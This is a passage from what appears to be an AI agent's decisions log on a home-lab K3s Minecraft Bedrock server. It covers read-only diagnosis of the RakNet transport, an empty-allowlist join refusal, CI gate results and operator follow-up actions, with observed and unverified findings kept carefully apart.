||||||
|
The entry above ended with operator action 1: stop `K3s-Bedrock`, set `transport=raknet`, start it —
|
||||||
|
explicitly flagged **"REASONED, NOT OBSERVED … Nobody has seen a packet answered on 19132/udp on this
|
||||||
|
cluster."** The operator did it. `/crafty/logs/audit.log`, measured:
|
||||||
|
|
||||||
|
21:32:32 issued command stop_server for server K3s-Bedrock
|
||||||
|
21:33:31 Edited file /crafty/servers/c5837301-…/server.properties
|
||||||
|
21:33:58 issued command start_server for server K3s-Bedrock
|
||||||
|
|
||||||
|
BDS then printed, at ERROR level, `================ TRANSPORT TYPE ERROR ===================` /
|
||||||
|
`Your current connection type is not set to NetherNet. In this release, NetherNet is the only supported
|
||||||
|
transport type.` / `Players will not be able to connect to your game without NetherNet.` That was
|
||||||
|
reported to me as *"the server rejected it"*, and I was briefed to treat the shipped property comment
|
||||||
|
(`Allowed values: "raknet" or "nethernet"`) as stale relative to the binary and to write up an
|
||||||
|
architecture finding: that BDS is NetherNet-only, can never bind `19132/udp`, and that the whole
|
||||||
|
`crafty-l4-udp` exposure is therefore inert.
|
||||||
|
|
||||||
|
**That brief was wrong, and so was the inference behind it. The server did not reject anything.**
|
||||||
|
|
||||||
|
### What is actually true (all OBSERVED, 2026-09-29 21:38–21:41)
|
||||||
|
|
||||||
|
- `./bedrock_server` pid **47006** is running, started 21:34 and still up — it printed that banner and
|
||||||
|
carried on. It did not exit and Crafty did not restart it.
|
||||||
|
- It **bound the RakNet sockets**: `/proc/net/udp` `00000000:4ABC` (19132/IPv4) and `/proc/net/udp6`
|
||||||
|
`…:4ABD` (19133/IPv6), both owned by that pid (`/proc/47006/fd/25`, `fd/26` → those inodes). The
|
||||||
|
**TCP** bind on `4ABC` that the last entry measured under nethernet is **gone**.
|
||||||
|
- Crafty's warning changed kind at that exact moment: last `Got timeout while issuing bedrock ping` at
|
||||||
|
**`21:34:04,306`**, first `Bedrock ping returned a string with too few fields` at **`21:34:09,854`**
|
||||||
|
(155 timeout lines, then 86 answered and counting). Per `raknet_ping.py`, `Got timeout` is emitted
|
||||||
|
*only* when `sock.recv` raises `TimeoutError`; `too few fields` is reachable *only after* a `0x1C`
|
||||||
|
Unconnected Pong arrives **and its magic validates**. The listener answers.
|
||||||
|
- **The end-to-end test the last entry admitted it had never run, run:** a RakNet Unconnected Ping from
|
||||||
|
the toolbox on the LAN (host network, off-cluster) to the prod VIP **`192.168.2.22:19132`** returns a
|
||||||
|
139-byte `0x1c` pong in ~12 ms, magic valid:
|
||||||
|
|
||||||
|
MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
|
||||||
|
|
||||||
|
BDS **1.26.52**, protocol 2193, 0/10 players. `:19133` returns the **same** pong from the same
|
||||||
|
`server_guid` (that is `enable-lan-visibility=true`, now observed rather than read off a comment);
|
||||||
|
`:19134` times out, correctly. **A Bedrock player on this LAN can connect right now.**
|
||||||
|
- The vendor's own doc on the PVC, `bedrock_server_how_to.html` (shipped in the same archive as the
|
||||||
|
binary, same mtime 20:52), documents `transport` as *"raknet, nethernet"* and: *"**raknet** — The
|
||||||
|
traditional Bedrock UDP transport. The server listens directly on `server-port` (IPv4) and
|
||||||
|
`server-portv6` (IPv6), and clients connect to that address and port."*
|
||||||
|
- RakNet is still fully compiled in: `strings bedrock_server` yields `RakNetConnector`,
|
||||||
|
`createUniqueRakPeer`, `RakPeerInterface`, and the vendored build path
|
||||||
|
`/mnt/vss/_work/1/s/handheld/src-deps/raknet/raknet/RakNetSocket2.cpp`.
|
||||||
|
|
||||||
|
So `NetherNet is the only supported transport type` is a **support** statement, not a **capability**
|
||||||
|
one. Microsoft declines to support RakNet and ships it working, at ERROR log level, in 1.26.52.
|
||||||
|
|
||||||
|
### Why nethernet could never have worked here anyway — a finding the last entry missed
|
||||||
|
|
||||||
|
The same vendor doc explains the last entry's oddest measurement (19132 bound **TCP**): nethernet
|
||||||
|
*"listens on a single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake,
|
||||||
|
then negotiates a UDP connection with each client."* And this repo exposes **no TCP 19132**:
|
||||||
|
`crafty-l4-tcp` carries 25565-25567 only, and `crafty-allow-ingress` allows `19132 UDP` and not
|
||||||
|
`19132 TCP`. The signaling port was unreachable at the Service layer *and* the policy layer. The
|
||||||
|
server's own `packet-statistics.txt` for that 2293-second nethernet run agrees: `Total Received: 0, 0B`.
|
||||||
|
The 26 packets / 27660 bytes the last entry found on the `19132/UDP` policy map were players' RakNet
|
||||||
|
pings arriving at a port where nethernet had opened no UDP socket. Consistent, and now closed.
|
||||||
|
|
||||||
|
### Where the reasoning failed — the part worth keeping
|
||||||
|
|
||||||
|
The previous entry's reasoning was **sound and its recommendation was right**; it was correctly
|
||||||
|
labelled as unobserved, and the observation vindicated it. The failure was downstream, in reading the
|
||||||
|
server's response:
|
||||||
|
|
||||||
|
1. **An ERROR-level log line was read as a refusal.** It was a deprecation notice. Nothing checked
|
||||||
|
whether the process survived it or what it bound — and both were one command away.
|
||||||
|
2. **"The vendor comment is stale relative to the binary" was asserted from the binary's *complaint*,
|
||||||
|
never from the binary's *behaviour*.** The binary had two other testimonies on disk — the shipped
|
||||||
|
how-to, and its own symbol table — and both said `raknet` works. Neither was consulted.
|
||||||
|
3. The tiebreak between two contradicting vendor statements is never a third piece of prose. It is
|
||||||
|
`/proc/net/udp` and a pong on the wire. That is what settled it, in about four minutes.
|
||||||
|
|
||||||
|
This is CLAUDE.md §2b applied one level further in: don't infer platform state from the repo, **and
|
||||||
|
don't infer application state from the application's own error message.** Query the socket.
|
||||||
|
|
||||||
|
### Decision and recommendation
|
||||||
|
|
||||||
|
**Keep `transport=raknet`. No manifest change.** `service-l4.yaml`, `networkpolicy.yaml` and the
|
||||||
|
`containerPort`s were already shaped for exactly RakNet and are now proven end-to-end rather than
|
||||||
|
assumed. Ranked alternatives, all rejected for today and written up in the README:
|
||||||
|
|
||||||
|
1. **Keep `transport=raknet`** — zero manifest change, works now, vanilla parity, real Bedrock world.
|
||||||
|
2. **GeyserMC + Floodgate** on the existing `homelab` Paper server — also zero manifest change (Geyser
|
||||||
|
itself binds `19132/udp`, so the existing Service is already correct), held in reserve for the day
|
||||||
|
RakNet is genuinely removed. It **cannot run alongside** the live BDS: both want 19132. Cost is that
|
||||||
|
Bedrock players join the **Java** world. Geyser's current Bedrock-version support is
|
||||||
|
**external and unmeasured**.
|
||||||
|
3. **Pin/downgrade BDS** — unnecessary (the current build speaks RakNet) and fragile.
|
||||||
|
4. **PocketMine-MP / Nukkit** — no; loses vanilla parity and world format.
|
||||||
|
5. **Accept NetherNet** — worst option: it needs *more* manifest work than the one that already works
|
||||||
|
(TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus `server-udp-ports` pinned and
|
||||||
|
exposed), and WebRTC media behind a shared VIP and SNAT is unproven here.
|
||||||
|
|
||||||
|
The 19132-19134/UDP exposure **stays** and is **not** inert. That part of the brief is refuted.
|
||||||
|
|
||||||
|
### What changed in this repo
|
||||||
|
|
||||||
|
`platform/crafty/README.md` only — again **no manifest touched**, and this time that is a measured
|
||||||
|
conclusion rather than a cautious one.
|
||||||
|
|
||||||
|
- Replaced *"the transport trap"* with a two-trap section: nethernet hides the UDP socket, and then the
|
||||||
|
`TRANSPORT TYPE ERROR` banner frightens you into reverting the fix. Records the full evidence chain,
|
||||||
|
the vendor how-to quotes, the binary symbols, and the off-cluster pong.
|
||||||
|
- Documented that Crafty's perpetual `too few fields - missing values [None]` warning is the **success**
|
||||||
|
signature, not a failure: BDS 1.26.52's pong has 16 `;`-fields, Crafty 4.10.8's
|
||||||
|
`pingpong_string_fields` knows 14 and wants an empty terminator, gets `'0'`. Cosmetic. The failure
|
||||||
|
signature is the *other* message, `Got timeout`.
|
||||||
|
- Added the ranked options table with each option's manifest consequence, and an *"If RakNet is ever
|
||||||
|
really removed"* section naming Geyser+Floodgate as the migration with the exact PVC/panel steps.
|
||||||
|
- Upgraded the `enable-lan-visibility` note from "read off a comment" to OBSERVED, and **corrected** the
|
||||||
|
claim that `19133` is unreachable — it is reachable, on IPv4, and slot 1 genuinely is occupied.
|
||||||
|
- Corrected the **Game VIP**: the README stated `192.168.1.55` as fact. That is the base/dev value;
|
||||||
|
`clusters/prod/kustomization.yaml` patches `CRAFTY_L4_VIP` to `192.168.2.22`, which is the live
|
||||||
|
`EXTERNAL-IP` on both `crafty-l4-tcp` and `crafty-l4-udp`. Rewrote as the variable plus the measured
|
||||||
|
prod value.
|
||||||
|
- Noted that `transport=raknet` is PVC state Flux cannot restore, and that a recreated or reinstalled
|
||||||
|
Bedrock server silently regresses to the vendor default `nethernet`.
|
||||||
|
- Re-confirmed `K3s-Bedrock` `auto_start=0` / `crash_detection=0` straight out of `crafty.sqlite`.
|
||||||
|
|
||||||
|
### What I did NOT verify — read this before acting
|
||||||
|
|
||||||
|
- **No human Bedrock client has connected.** I proved the RakNet *ping/pong* handshake end-to-end from
|
||||||
|
off-cluster; I did not complete a login, which additionally requires Xbox Live auth
|
||||||
|
(`online-mode=true`) from the client. **UNVERIFIED that a player reaches the world**, and it is the
|
||||||
|
one test only a human with a Minecraft client can run.
|
||||||
|
- **The multi-player SNAT question from the last entry is still open and still untested.** Whether a
|
||||||
|
*second* simultaneous Bedrock player evicts the first (masquerade port reuse / UDP conntrack behind a
|
||||||
|
shared VIP) is unmeasured. One ping proves one flow.
|
||||||
|
- **Whether a console can reach it is still no** — unchanged and still not tested; consoles have no
|
||||||
|
server-address field.
|
||||||
|
- **Geyser is entirely unmeasured here.** Nothing was installed, downloaded, or run. Its Bedrock-version
|
||||||
|
support, its jar names and its config keys as written in the README are **web/documentation-sourced,
|
||||||
|
not observed on this cluster**. Verify before acting on that section.
|
||||||
|
- **Whether Crafty can pin a BDS version is UNVERIFIED** — I did not read its Bedrock installer.
|
||||||
|
- **A web search on this error was attempted and was low-quality** — results largely echoed the error
|
||||||
|
string back. Nothing in the README or this entry rests on it. The load-bearing evidence is all local:
|
||||||
|
`/proc/net/*`, `/proc/47006/fd/*`, `audit.log`, `commander.log`, `raknet_ping.py`, the shipped
|
||||||
|
`bedrock_server_how_to.html`, `strings bedrock_server`, and the pong.
|
||||||
|
- **Whether a future BDS removes RakNet for real is unknowable from here.** Treat the banner as a
|
||||||
|
deprecation notice with an unknown expiry.
|
||||||
|
- **Nothing was applied or written.** No `kubectl apply/edit/patch/scale/delete`, no `flux reconcile`,
|
||||||
|
no write anywhere inside the container — `server.properties` was read, never touched. The running pod
|
||||||
|
is still `crafty-64f7b6d78-pkpgp` (2/2, 15d, 0 restarts). All probes were reads plus outbound UDP
|
||||||
|
pings from the toolbox.
|
||||||
|
- **`fix/crafty-oauth2-proxy-signin` is still unmerged**, so the pod still runs the pre-that-PR spec.
|
||||||
|
|
||||||
|
### Gate and CI — rc 3, and why CI's green does not contradict that
|
||||||
|
|
||||||
|
Local, pinned toolbox, from the worktree (`ENGINE` shim + `DEV_KUBECONFIG=/dev/null`), diff base
|
||||||
|
`origin/main @ 20ea70d` → `HEAD @ d29a73c`:
|
||||||
|
|
||||||
|
| Stage | Result |
|
||||||
|
|---|---|
|
||||||
|
| `lint` | green |
|
||||||
|
| `l0` | green — 19 cases, 0 failures, 0 skips |
|
||||||
|
| `render-golden` | green — all 10 onboarded goldens reproduce |
|
||||||
|
| `l1` | green — 3 cases, 0 failures, 0 skips |
|
||||||
|
| `spec-immutability` | **green** (see below) |
|
||||||
|
| `gitea-settings` | **SKIPPED** — `SETTINGS_API_TOKEN` unset |
|
||||||
|
| `conformance` (L2/L3) | **SKIPPED** — `CLUSTER_AVAILABLE != true` |
|
||||||
|
|
||||||
|
**Exit code 3 — UNDETERMINED, not a PASS.** Nothing failed; nothing outside the green rows is
|
||||||
|
certified. Touched requirements `R-DNS-01 R-NET-01 R-PLAT-02 R-STATE-01` remain L2/L3 UNVERIFIED.
|
||||||
|
|
||||||
|
`spec-immutability` — normally *the* tolerated skip — was closed rather than accepted. It had skipped
|
||||||
|
**spuriously**: `dev.sh` resolves the spec repo at `$REPO_ROOT/../home-network-k3s`, which from a
|
||||||
|
*worktree* is the wrong directory; the repo exists beside the **main** checkout. Mounting it read-only
|
||||||
|
through the `ENGINE` shim turned the skip into a real green, so R-TEST-06 is genuinely verified here.
|
||||||
|
Worth folding into the CLAUDE.md §3 worktree workarounds: the documented shim should mount **two**
|
||||||
|
paths, the main `.git` *and* the sibling spec repo.
|
||||||
|
|
||||||
|
CI on `d29a73c`, statuses read by description and not by tick:
|
||||||
|
|
||||||
|
context='gate / gate (pull_request)' status='success' description='Successful in 1m35s'
|
||||||
|
context='gate / conformance (pull_request)' status='success' description='Has been skipped'
|
||||||
|
|
||||||
|
**Neither green means rc 0.** `gate / conformance` is `if: false` in `.gitea/workflows/gate.yml` — it
|
||||||
|
never runs and reports `success` with "Has been skipped", the exact trap CLAUDE.md §2 names. And
|
||||||
|
`gate / gate`, the single required context, runs `./ci/gate.sh || [ "$?" -eq 3 ]` (line 134): **CI
|
||||||
|
tolerates exit 3 by declared design**, so its green means "exited 0 *or* 3". It would report this
|
||||||
|
identical green for the rc 3 above. Enforcement itself was measured directly rather than assumed
|
||||||
|
(§2b): `branches/main` → `protected: true`, `user_can_push: false`, `required_approvals: 1`,
|
||||||
|
`enable_status_check: true`, `status_check_contexts: ['gate / gate (pull_request)']`;
|
||||||
|
`admin/actions/runners` → 1 runner, `incluster-dind`, `online`. **PR #23 is open, unmerged, and I did
|
||||||
|
not merge it.**
|
||||||
|
|
||||||
|
### Operator actions required
|
||||||
|
|
||||||
|
1. **Nothing to do about the transport.** `transport=raknet` is correct, live, and answering. **Do not
|
||||||
|
revert it because of the `TRANSPORT TYPE ERROR` banner, and do not chase Crafty's `too few fields`
|
||||||
|
warning** — both appear on a fully working server.
|
||||||
|
2. **Get a human to actually join**, from a Windows/mobile client: **Add Server** →
|
||||||
|
`crafty-mc.home.keithjackson.dev`, port **19132**. This is the only remaining unproven step. It will
|
||||||
|
never appear in the LAN/Friends tab; a console cannot reach it at all.
|
||||||
|
3. **Fix `auto_start` — still outstanding, and now more urgent.** `K3s-Bedrock` is still
|
||||||
|
`auto_start=0`, `crash_detection=0`. `PATCH /api/v2/servers/c5837301-12b1-404e-b50e-70eafb37226b`
|
||||||
|
setting both true **and read them back** (the create API silently drops them). Until then the
|
||||||
|
Bedrock server does not survive a pod restart — and merging `fix/crafty-oauth2-proxy-signin`
|
||||||
|
restarts the pod (`strategy: Recreate`, RWO volume), stopping **both** Minecraft servers **and**
|
||||||
|
leaving Bedrock down until someone starts it by hand.
|
||||||
|
4. **Set `enable-lan-visibility=false` on `K3s-Bedrock`** if a second Bedrock server is ever wanted.
|
||||||
|
It currently occupies **both** 19132 and 19133 (measured), so slot 1 is not actually free. LAN
|
||||||
|
discovery cannot work behind the VIP anyway, so nothing is lost.
|
||||||
|
5. **Re-check after any Bedrock server recreate or BDS update:** confirm `transport=raknet` survived,
|
||||||
|
then re-ping. The vendor default is `nethernet`, and the regression is silent.
|
||||||
|
6. **If a second simultaneous player evicts the first**, that is the SNAT/UDP-conntrack theory becoming
|
||||||
|
real; it needs its own measured investigation, not a guess.
|
||||||
|
|
||||||
|
## 2026-09-29 (later still) — "You are not invited": the join gate is an empty allowlist. RakNet is confirmed working *by the refusal itself*
|
||||||
|
|
||||||
|
A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. This was
|
||||||
|
put to me as evidence that NetherNet signalling is working, that the refusal might have come from
|
||||||
|
Microsoft rather than our server, and that BDS players therefore never traverse this repo's
|
||||||
|
`crafty-l4-udp` path. **Measured, all three of those are wrong.** The refusal is ours, it came back over
|
||||||
|
`19132/udp`, and it has a one-line cause.
|
||||||
|
|
||||||
|
### Measured 21:56 (read-only)
|
||||||
|
|
||||||
|
| Property / file | Value |
|
||||||
|
|---|---|
|
||||||
|
| `allow-list` | **`true`** (line 37 of `server.properties`) |
|
||||||
|
| `allowlist.json` | **`[]`** — 3 bytes, mtime **20:51**, never edited since the server was created |
|
||||||
|
| `online-mode` | `true` |
|
||||||
|
| `transport` | **`raknet`** (line 71); `server.properties` mtime **still 21:33:31** |
|
||||||
|
| UDP 19132 | bound — `/proc/net/udp` `00000000:4ABC`, pid 47006 |
|
||||||
|
| **TCP 19132** | **absent** — `grep 4ABC /proc/net/tcp /proc/net/tcp6` → no match |
|
||||||
|
| `bedrock_server` | pid **47006**, etime 21:58 — the *same* process since 21:34, never restarted |
|
||||||
|
| `K3s-Bedrock.log_path` | **`''`** (empty string) in `crafty.sqlite`; `Dedicated_Server.txt` is **0 bytes** |
|
||||||
|
|
||||||
|
### What that settles
|
||||||
|
|
||||||
|
1. **`transport` is still `raknet`. Nobody reverted it and the binary did not rewrite it.** The file's
|
||||||
|
mtime is unchanged from the operator's 21:33:31 edit, `audit.log` records no later edit, and pid
|
||||||
|
47006 has been the same process since 21:34. **So NetherNet is NOT in use and cannot be what served
|
||||||
|
this client.** The premise that "something is evidently set to nethernet" is refuted.
|
||||||
|
2. **NetherNet could not have served it even in principle:** nethernet signals over a **TCP** socket on
|
||||||
|
`server-port`, and there is **no TCP 19132 listener in the pod at all**. No signalling endpoint
|
||||||
|
exists, and none is exposed by any Service.
|
||||||
|
3. **Therefore the refusal came from our server, over RakNet, over `19132/udp`, through the VIP.** A
|
||||||
|
refusal authored by the server requires the client to have reached the server; the only listener is
|
||||||
|
the RakNet UDP socket. **The 19132-19134/UDP exposure is the opposite of inert — it is the path that
|
||||||
|
carried both the earlier pong and this refusal.** *(Observed: the listeners, the missing TCP socket,
|
||||||
|
`transport=raknet`, the process identity. Reasoned from those: that the refusal traversed that path.)*
|
||||||
|
4. **The cause is trivial and certain: `allow-list=true` with `allowlist.json == []` refuses every
|
||||||
|
player.** The shipped `bedrock_server_how_to.html` states it — *"If the `allow-list` property is
|
||||||
|
enabled … the server will only allow selected users to connect. To allow a user to connect you need
|
||||||
|
to know their Xbox Live Gamertag."* An empty array selects nobody. **This configuration cannot admit
|
||||||
|
anyone, so the refusal needed no other explanation.**
|
||||||
|
|
||||||
|
### The correlation I was asked for, and why it cannot be done from disk
|
||||||
|
|
||||||
|
I was asked to correlate the client error against the BDS server log and `commander.log` at 21:40–22:00,
|
||||||
|
on the basis that our log showing nothing would mean the refusal came from Microsoft. **That inference
|
||||||
|
does not hold here, because there is no BDS log on disk to be silent.** ``K3s-Bedrock``'s `log_path` is
|
||||||
|
the empty string and `Dedicated_Server.txt` is 0 bytes: **Crafty persists no Bedrock stdout anywhere on
|
||||||
|
the PVC** — the console is panel-UI-only. `commander.log` 21:39–21:56 holds nothing but `homelab`
|
||||||
|
crash-detection lines and `raknet_ping` chatter: no join, no gamertag, no XUID, no allowlist denial.
|
||||||
|
That silence is evidence about Crafty's logging, **not** about the refusal's origin. **UNVERIFIED and
|
||||||
|
only observable live in the panel console.** The point stands: absence of a log here is not absence of
|
||||||
|
an event.
|
||||||
|
|
||||||
|
I also did **not** capture the player's packet (no `tcpdump`, no `cilium monitor`), so the flow's
|
||||||
|
identity is inferred from the listener topology, not seen. What removes the doubt is that the
|
||||||
|
configuration is *unconditionally* refusing: whichever path a client takes, `allow-list=true` plus `[]`
|
||||||
|
denies it. The operator action is required either way.
|
||||||
|
|
||||||
|
### Correction to the earlier entry's loose end, now firmer
|
||||||
|
|
||||||
|
The previous entries left "who sent those 26 packets / 27660 bytes on the `19132/UDP` policy map"
|
||||||
|
UNVERIFIED, and it stays UNVERIFIED — but note it was measured *before* 21:34, i.e. during the nethernet
|
||||||
|
window when **no UDP listener existed**. Those packets are consistent with clients RakNet-pinging a port
|
||||||
|
nothing was listening on. They should **not** be attributed to a successful Bedrock session, and equally
|
||||||
|
should not now be re-attributed to this refused client, which arrived later.
|
||||||
|
|
||||||
|
### Ranking after this measurement — unchanged at the top
|
||||||
|
|
||||||
|
**Keep `transport=raknet`, add the players to the allowlist. Still zero manifest change.** The allowlist
|
||||||
|
refusal is orthogonal to transport: it would refuse identically under NetherNet. Switching to NetherNet
|
||||||
|
would *add* manifest work (TCP 19132 in `crafty-l4-tcp` **and** `crafty-allow-ingress`, plus
|
||||||
|
`server-udp-ports` pinned and exposed) and would admit **not one extra player**. "Accept NetherNet" does
|
||||||
|
**not** outrank the status quo on this evidence, because NetherNet is not what is working — RakNet is.
|
||||||
|
Geyser stays at #2, reserve-only.
|
||||||
|
|
||||||
|
### What changed in this repo
|
||||||
|
|
||||||
|
`platform/crafty/README.md` — added *"You are not invited to play on this server — the join gate is the
|
||||||
|
allowlist, not the network"*: the measured table, the proof that the refusal is ours and rode the UDP
|
||||||
|
path, the "BDS console is not on disk" caveat, the gamertag/XUID identity model, the three operator
|
||||||
|
routes (`allowlist add` in the console; edit-then-`allowlist reload`; or `allow-list=false`, discouraged
|
||||||
|
because the game port is deliberately un-gated so the allowlist is the *only* join control), and a note
|
||||||
|
that `allowlist.json` is PVC state that resets to `[]` on a server recreate. Updated the options table
|
||||||
|
and human test 4 to put the allowlist check before blaming the network. **No manifest touched.**
|
||||||
|
|
||||||
|
### Still UNVERIFIED
|
||||||
|
|
||||||
|
- **No successful join.** Reachability and an authorization refusal are both proven; a completed login is
|
||||||
|
not. Only a human with a client, after an allowlist entry, can close it.
|
||||||
|
- **The exact client-side string was not observed by me** — it is the operator's report, and its mapping
|
||||||
|
to the allowlist denial is **reasoned** from the vendor doc, not read out of a BDS log (there is none).
|
||||||
|
- **Whether the client used Add-Server-by-IP or an Xbox/Friends route is unknown**, so a *concurrent*
|
||||||
|
Xbox-side "not invited" cannot be fully excluded. It does not matter operationally: the allowlist must
|
||||||
|
be fixed regardless, and after that a retry distinguishes the two immediately.
|
||||||
|
- **The multi-player SNAT question** remains open and untested.
|
||||||
|
- **Nothing was written.** `allowlist.json`, `server.properties` and the DB were read only; no
|
||||||
|
`allowlist add` was issued, no console command sent, no `kubectl` mutation, no `flux reconcile`.
|
||||||
|
|
||||||
|
### Operator actions — revised, allowlist first
|
||||||
|
|
||||||
|
1. **Add each player's Xbox Gamertag to the allowlist.** Crafty → `K3s-Bedrock` → Console:
|
||||||
|
`allowlist add <Gamertag>` (quote if it contains a space). Takes effect immediately, no restart.
|
||||||
|
Verify with `allowlist list`. This is **the** fix for "You are not invited".
|
||||||
|
2. **Then retry the join** from a Windows/mobile client: **Add Server** →
|
||||||
|
`crafty-mc.home.keithjackson.dev`, port **19132**. If it now connects, everything in these three
|
||||||
|
entries is closed. If it still refuses, capture the **panel console** output during the attempt —
|
||||||
|
that is the only place BDS's own reason is visible.
|
||||||
|
3. **Do not set `allow-list=false`** as the fix. The game port is deliberately un-gated at the network
|
||||||
|
layer, so the allowlist is the only thing deciding who may join. (And console `allowlist off` does not
|
||||||
|
change `server.properties`, so it silently reverts on restart.)
|
||||||
|
4. **Leave `transport=raknet` alone**, and keep ignoring both the `TRANSPORT TYPE ERROR` banner and the
|
||||||
|
`too few fields` warning — the server is reachable, proven by pong and by this refusal.
|
||||||
|
5. **`auto_start=0` / `crash_detection=0` on `K3s-Bedrock` — still outstanding.** `PATCH
|
||||||
|
/api/v2/servers/c5837301-12b1-404e-b50e-70eafb37226b`, both true, **read them back**.
|
||||||
|
6. **Treat `allowlist.json` and `transport=raknet` as backup-relevant PVC state.** A server recreate
|
||||||
|
resets the allowlist to `[]` and the transport to `nethernet` — both silently.
|
||||||
|
|
||||||
|
## 2026-09-29 (closing) — a player has joined. The chain is closed: `allow-list=true` + an empty allowlist was the wall, and nothing else was
|
||||||
|
|
||||||
|
The operator added one gamertag to the allowlist and the Bedrock client connected and joined. **The
|
||||||
|
three-entry investigation above is now closed by a working server**, with no manifest change, no
|
||||||
|
transport change, and no network change.
|
||||||
|
|
||||||
|
### What is now OBSERVED (moved out of UNVERIFIED)
|
||||||
|
|
||||||
|
- **A successful join.** *Operator-reported, 2026-09-29* — they added the player's gamertag and the
|
||||||
|
client connected and joined. **I did not watch the join**, and that distinction is kept deliberately;
|
||||||
|
this repo has been burned by collapsing it.
|
||||||
|
- **Corroborated directly on disk, though**, which is stronger than the report alone:
|
||||||
|
`allowlist.json` went `[]` → **one entry**, 75 bytes, and that entry's **`xuid` is populated**
|
||||||
|
(`keys=['ignoresPlayerLimit','name','xuid']`, mtime **22:03:17**). `audit.log` shows the operator wrote
|
||||||
|
only the name — `Edited file …/allowlist.json` at **22:02:13**. The vendor doc: `xuid` is *"Optional.
|
||||||
|
If it's not set then it will be populated when someone with a matching name **connects**."* So the XUID
|
||||||
|
was written **by the server, on connect**, ~64 s after the operator's edit. That is server-authored
|
||||||
|
evidence of an Xbox-Live-authenticated join. *(Observed: file state, both timestamps, the audit line.
|
||||||
|
Reasoned from the vendor doc: populated XUID ⇒ a connect happened.)*
|
||||||
|
- **The reasoned mapping is confirmed.** The client's *"You are not invited to play on this server"* was
|
||||||
|
mapped to the empty allowlist **by reasoning** from the vendor doc, because Crafty persists no BDS
|
||||||
|
stdout and there was no log to read it from. Adding **exactly one** gamertag and getting **exactly one**
|
||||||
|
successful join confirms that mapping. **`allow-list=true` + `allowlist.json == []` was the wall, and
|
||||||
|
nothing else was.**
|
||||||
|
- **`transport=raknet` survives a restart.** The fix involved one: `stop_server` 22:02:37 →
|
||||||
|
`start_server` 22:02:41, pid **47006 → 47875**. Afterwards `server.properties` mtime is **still
|
||||||
|
21:33:31** with `transport=raknet`, UDP `4ABC` is bound by the new pid, there is still **no TCP 4ABC**,
|
||||||
|
and `192.168.2.22:19132` answered a fresh pong at 22:06 (`MCPE;…;1.26.52;0;10;…`, new `server_guid`
|
||||||
|
matching the new pid, `players=0` — the player had left).
|
||||||
|
- **The route the operator used was file-edit + restart**, not the console `allowlist add` I put first:
|
||||||
|
`audit.log` edit 22:02:13 → stop → start. A restart is a valid substitute for `allowlist reload`.
|
||||||
|
Both routes now documented as proven; the console route is still preferred because it needs no restart.
|
||||||
|
|
||||||
|
### The recommendation is now PROVEN, not provisional
|
||||||
|
|
||||||
|
**Keep `transport=raknet` and enumerate players in the allowlist. Zero manifest change.** This is no
|
||||||
|
longer the best-reasoned option — it is the configuration a player has demonstrably joined over
|
||||||
|
`192.168.2.22:19132`. `service-l4.yaml`, `networkpolicy.yaml` and the `containerPort`s needed nothing.
|
||||||
|
Ranking otherwise unchanged: Geyser #2 (reserve, and it cannot share 19132), pinning BDS #3,
|
||||||
|
PocketMine/Nukkit #4, accept-NetherNet last — NetherNet is still **not in use**, would still need TCP
|
||||||
|
19132 exposed in two places, and would still admit not one extra player.
|
||||||
|
|
||||||
|
### Still open — NOT weakened by the success
|
||||||
|
|
||||||
|
- **`K3s-Bedrock` still has `auto_start=0` and `crash_detection=0`.** Re-measured from `crafty.sqlite` at
|
||||||
|
22:06, *after* the successful join and after the operator's 22:02:28 `modified the server` action —
|
||||||
|
which did **not** change them. **The operator now has a working server that will silently not come back
|
||||||
|
after any pod restart**, and merging `fix/crafty-oauth2-proxy-signin` **is** such a restart
|
||||||
|
(`strategy: Recreate`, RWO volume) and would stop **both** Minecraft servers. This matters *more* now,
|
||||||
|
not less: the failure mode has changed from "never worked" to "worked, then vanished".
|
||||||
|
- **The silent-reset exposure is unchanged, and now precisely characterised:**
|
||||||
|
a **restart** preserves `transport=raknet` and `allowlist.json` (observed above) but does not restart
|
||||||
|
the server itself (`auto_start=0`); a **server recreate or reinstall** resets `server.properties` to
|
||||||
|
`transport=nethernet` (nothing bound on 19132/udp) **and** `allowlist.json` to `[]` (everyone refused).
|
||||||
|
Neither reset announces itself, and the panel will show the server healthy and started. Both files are
|
||||||
|
PVC state Flux cannot restore. **Re-run the 5-step connect procedure after any recreate or BDS update.**
|
||||||
|
- **L2/L3 conformance is still uncertified.** `CLUSTER_AVAILABLE` is unset, so the gate's `conformance`
|
||||||
|
stage does not run; `R-DNS-01 R-NET-01 R-PLAT-02 R-STATE-01` remain UNVERIFIED in CI. A player joining
|
||||||
|
is not a conformance test.
|
||||||
|
- **Multi-player SNAT/UDP-conntrack is still untested.** Exactly **one** player has joined. Whether a
|
||||||
|
*second simultaneous* Bedrock player evicts the first behind the shared VIP and SNAT is unmeasured, and
|
||||||
|
a single successful session is precisely the evidence that does *not* settle it.
|
||||||
|
- **I still never saw BDS's own console output** — `log_path` is `''`, `Dedicated_Server.txt` is 0 bytes.
|
||||||
|
Anything BDS itself said about the join is visible only live in the panel.
|
||||||
|
- **Consoles still cannot reach this**, and LAN/Friends discovery still cannot work behind the VIP.
|
||||||
|
- **Geyser remains entirely unmeasured**; the pinnability of a BDS version remains UNVERIFIED.
|
||||||
|
|
||||||
|
### What changed in this repo
|
||||||
|
|
||||||
|
`platform/crafty/README.md` and `DECISIONS-LOG.md`. **No manifest touched, in any of the three passes.**
|
||||||
|
|
||||||
|
- Marked the join-gate section **RESOLVED and confirmed**, with the XUID-population evidence and the
|
||||||
|
operator-reported join labelled as exactly that.
|
||||||
|
- Promoted the decision heading and option-1 row from provisional to **PROVEN**, and recorded that the
|
||||||
|
operator's actual route was file-edit + restart (route 2), with route 1 still preferred.
|
||||||
|
- Rewrote Bedrock human-test 4 as a **5-step verified connect procedure**, each step with its distinct
|
||||||
|
failure signature, and stated plainly that the `TRANSPORT TYPE ERROR` banner and the `too few fields`
|
||||||
|
warning both appear on a fully working server — that pair misled two consecutive sessions.
|
||||||
|
- Sharpened the PVC warning to distinguish **restart** (preserves both files; server stays down because
|
||||||
|
`auto_start=0`) from **recreate/reinstall** (silently resets transport *and* allowlist).
|
||||||
|
|
||||||
|
### Operator actions — one is now urgent
|
||||||
|
|
||||||
|
1. **`PATCH /api/v2/servers/c5837301-12b1-404e-b50e-70eafb37226b`** setting `auto_start` **and**
|
||||||
|
